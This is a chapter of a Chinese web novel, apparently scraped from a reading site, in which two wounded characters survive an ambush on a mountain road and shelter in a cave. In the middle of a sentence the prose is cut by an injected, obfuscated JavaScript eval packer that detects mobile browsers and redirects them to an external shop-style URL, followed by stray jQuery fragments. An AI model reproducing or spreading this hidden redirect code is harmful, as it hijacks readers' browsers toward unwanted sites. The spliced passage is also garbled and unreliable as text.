17. 埋伏
作品:《玉骨错》 寺中清静,却也非久留之地,京中情势不明,郑淮序需尽早回去主持大局。调养了数日,伤口虽未痊愈,但已能承受马车颠簸。
天刚蒙蒙亮,一辆不起眼的青帷马车已候在山门外。为掩人耳目,此行轻装简从,除车夫外,只带了四名身手最好的护卫骑马随行。
两人同乘一辆马车,郑淮序外罩一件深灰色披风,遮住肩上仍显厚重的绷带。李妙仪则是一身素青衣裙,左臂袖口特意放宽,遮掩着包扎。
“山路颠簸,若有不适,嫂嫂及时说。”郑淮序在她上车时伸手虚扶了一下,待她坐稳便收回手,自己坐在对面。
李妙仪点头,透过车窗看了一眼晨雾中的寺院飞檐,这几日寺中平静,却总觉暗流涌动。
马车缓缓驶下山道,李妙仪靠着车壁闭目养神,郑淮序则拿着一卷舆图阅览。两人之间隔着半臂距离,空气里只有车轮碾过石子的声响和远处隐约的鸟鸣。
约莫行了一个时辰,进入一段更为崎岖狭窄的山路,一侧是陡峭山壁,另一侧则是深不见底的山涧。
郑淮序忽然收起舆图,抬眼看向车窗外,神色微凝。
几乎同时,马车猛地一顿。
“嘶——”马匹发出惊恐的嘶鸣,车夫厉喝,“有绊马索!”
话音未落,两侧山林中骤然射出十数支羽箭,带着尖锐的破空声,直奔马车而来。
“低头!”郑淮序厉喝,瞬间扑向李妙仪,将她按倒在车厢底板,宽大的披风一展,覆住两人。
箭矢大半钉入车壁,有两支穿透车窗,擦着郑淮序的披风掠过。
马车外已响起激烈的兵刃交击与呼喝声,四名护卫与突然出现的黑衣刺客战在一处。这些人显然比上一波更为训练有素,配合默契,出手狠辣,且人数更多。
“留在车里!”郑淮序迅速在她耳边留下一句,抽剑掀开车帘,纵身而出。
李妙仪趴在车底,心绪紊乱,她听到郑淮序的怒喝,剑刃破风声,刺客的闷哼,以及一名护卫的惨呼。
这一次的刺杀,比寺院那次更为周密狠绝,他们算准了回程路线,在此险要处设伏。
李妙仪咬牙爬起,透过被箭矢撕裂的车帘缝隙向外看去。
山道上已是一片混战。四名护卫只剩三人勉力支撑,黑衣人却有七八个之多,且还有弓箭手隐在林中放冷箭。
郑淮序肩伤未愈,剑势虽依旧凌厉,但明显不如平日迅捷,几次格挡硬碰,他肩头绷带上已迅速洇出新的血色。
她不能坐以待毙。
李妙仪急速扫过车内,找到车座下备着的包裹,她记得里面有火折子、水囊和一小包干粮,还有一把用来防身的短匕首。
她背上包裹,将那把不足一尺的匕首,握在手中,冰凉的触感让她略微镇定。
就在这时,一名黑衣人似乎察觉车内有人,挥刀劈开车帘,探身进来。
李妙仪想也不想,蜷缩在车门死角,在那黑衣人上半身刚探入的刹那,用尽全身力气,将匕首狠狠刺向对方大腿。
“啊!”黑衣人猝不及防,痛呼一声,动作一滞。
李妙仪趁机猛地推开另一侧车门,滚下车厢。
落地瞬间,左臂伤口被剧烈牵扯,疼得她眼前一黑,但她不敢停留,连滚爬爬躲到一块凸起的山石后。
“杀了她!”受伤的黑衣人暴怒,指向李妙仪。
立刻有两名黑衣人摆脱护卫,朝她扑来。
郑淮序见状,一剑逼退身前之敌,想要冲过来,却被另外两人死死缠住,肩头又添一道新伤,血染红半边衣裳。
眼看刀锋已至眼前,李妙仪背靠山石,退无可退。
山涧对面忽然传来一声尖锐的呼哨。
紧接着,数支箭矢如雨点般从对面山林中射出,李妙仪面前的黑衣人被箭矢穿透,应声倒下,周遭其他人的攻势连带滞缓。
“走!”一个嘶哑低沉的声音从对面传来。
李妙仪来不及细想,这是敌是友?但此刻别无选择,转身就朝旁边一条更窄的小径狂奔而去。
郑淮序心念电转,知道硬拼下去,今日两人都要死在此地。
他虚晃一剑,拼着后背挨了一记刀背重击,借着冲力也朝那条小径冲去,途中顺手捞起跌倒在地的李妙仪,冲入茂密山林。
“放箭!”
箭矢追着他们的背影射来,郑淮序将李妙仪紧紧护在身前,用背脊和披风抵挡。一枚箭矢破空而来,擦过他肩膀,他身体猛地一震,脚下却丝毫不停。
两人跌跌撞撞,不知跑了多久,身后兵刃交击与呼喝声终于被层层林木吞噬,渐渐远去。山路却越发陡峭,林木遮天蔽日,光线昏暗,几乎难辨方向。
李妙仪已是强弩之末,左臂伤口在颠簸中彻底崩裂,鲜血不断渗出,浸透衣料,黏腻地贴在皮肤上,每一次喘息都扯动伤处。
郑淮序的状况更糟。新添的刀伤与崩裂的旧创交织,将他整个后背染成一片骇人的暗红,脸色苍白如纸,全靠一股悍勇之气支撑。
终于,在奋力拨开一片横生的荆棘丛后,郑淮序脚下一软,连同被他紧抓着的李妙仪一起,重重摔倒在积满腐叶的地上。
“郑淮序!”李妙仪顾不得自己摔得生疼,惊慌地翻身扑到他身侧。
只见他双目紧闭,牙关紧咬,已然昏迷过去,脸上连最后一丝血色也褪尽了。
她心口一紧,颤抖着探向他鼻下,待感受到一丝微弱的气息拂过指腹,强行将涌上眼眶的酸热逼了回去。
密林森森,不知身处何地,更不知那些黑衣人是否还在搜寻。当务之急,是找个地方隐蔽,处理伤口。
李妙仪狠狠掐了自己手心一把,强迫混沌的头脑冷静下来。她撕下内裙下摆,先用力扎紧他较重的伤口,减缓出血。
随后,她绕到他身侧,用自己的背脊抵住他沉重的身躯,一寸一寸,艰难地将他朝不远处那个隐约可见的山壁凹陷处拖去。
碎石和断枝硌着她的膝肘,短短一段路,竟漫长得如同没有尽头。
终于抵达,那是一个浅浅的天然石穴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164866|196659||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,勉强能容两三人藏身,上方有藤蔓如帘般垂落,多少能遮挡一些视线。
将郑淮序安置妥当,李妙仪几乎虚脱,但她不敢休息,又返回原处,用树枝小心扫去拖行痕迹,并将滴落的血迹用泥土落叶掩盖。
做完这一切,她瘫坐在郑淮序身边,剧烈喘息。左臂的疼痛已经麻木,绷带已被血浸透,必须重新包扎。
她解开染血的布条,好不容易养了数日的伤口果然裂开,皮肉狰狞。从怀中拿出尚算干净的帕子,撕下一段里衣,用随身带的一小壶清水冲洗伤口,撒上金疮药,重新包扎。
整个过程,她疼得浑身发抖,冷汗浸湿鬓发。
处理完自己的,她看向郑淮序,他肩头、后背,新伤旧伤交织,亟待处理。
李妙仪深吸一口气,顾不得男女之防,解开他的衣物,先用水冲洗伤口周围,又将所剩无几的金疮药全数撒上,最后用撕成条的衣服紧紧包扎。
做完这一切,她双手沾满他的血,浑身脱力,靠坐在石壁上,看着昏迷不醒的郑淮序,又看看外面渐暗的天色,心中涌起前所未有的惶然。
他们迷路了,重伤,没有食物,没有援兵,刺客可能还在搜寻。
夜幕降临,山林温度骤降。郑淮序开始发烧,身体时而滚烫,时而冰冷颤抖,显然伤口引起了炎症。她将自己的外衫盖在他身上,也无济于事。
生死关头,顾不得那么多了。
李妙仪侧身躺下,摒弃那股赧然,挤进他宽阔而坚硬的怀抱,用自己的体温为他取暖。
这一夜格外漫长,她不敢深睡,时时警惕洞外动静,同时留意郑淮序的状况,不时用浸湿的帕子擦拭他滚烫的额头和干裂的嘴唇。
后半夜,郑淮序的高烧终于退了一些,陷入相对安稳的昏睡。李妙仪稍稍松了口气,疲惫和伤痛袭来,也迷迷糊糊睡了过去。
她是被洞外鸟鸣声惊醒的。
晨光透过藤蔓缝隙照进来,带来些许暖意。她一动,才发现自己仍保持着环抱他的姿势,而郑淮序不知何时已转醒,正睁着眼,静静看着她。
李妙仪像被烫到一般,猛地松开手,向后挪开,脸颊无法控制地发热:“你醒了?感觉如何?”
郑淮序缓慢地撑坐起来,动作因牵动伤口而僵硬,“昨夜,辛苦你照料。”
“你为我挡箭受伤,我照顾你,是应该的。”李妙仪偏过头,避开他的视线,快速整理自己凌乱的衣衫和头发。
郑淮序看着她故作镇定的侧脸,没再说什么。他检查了一下自己的伤口,包扎虽然简陋,但很妥帖。
“你的手臂如何?”
“还好。”李妙仪简略答道,站起身,“我们必须想办法离开这里,找些水和食物。”
郑淮序点头,扶着石壁想要站起,却踉跄了一下。
李妙仪下意识伸手扶住他胳膊,“你伤重,别逞强。”
“不碍事。”郑淮序借力站稳,他的掌心温热粗糙,包裹着她纤细的手腕,停顿了一息,才缓缓放开,“先找水源。”

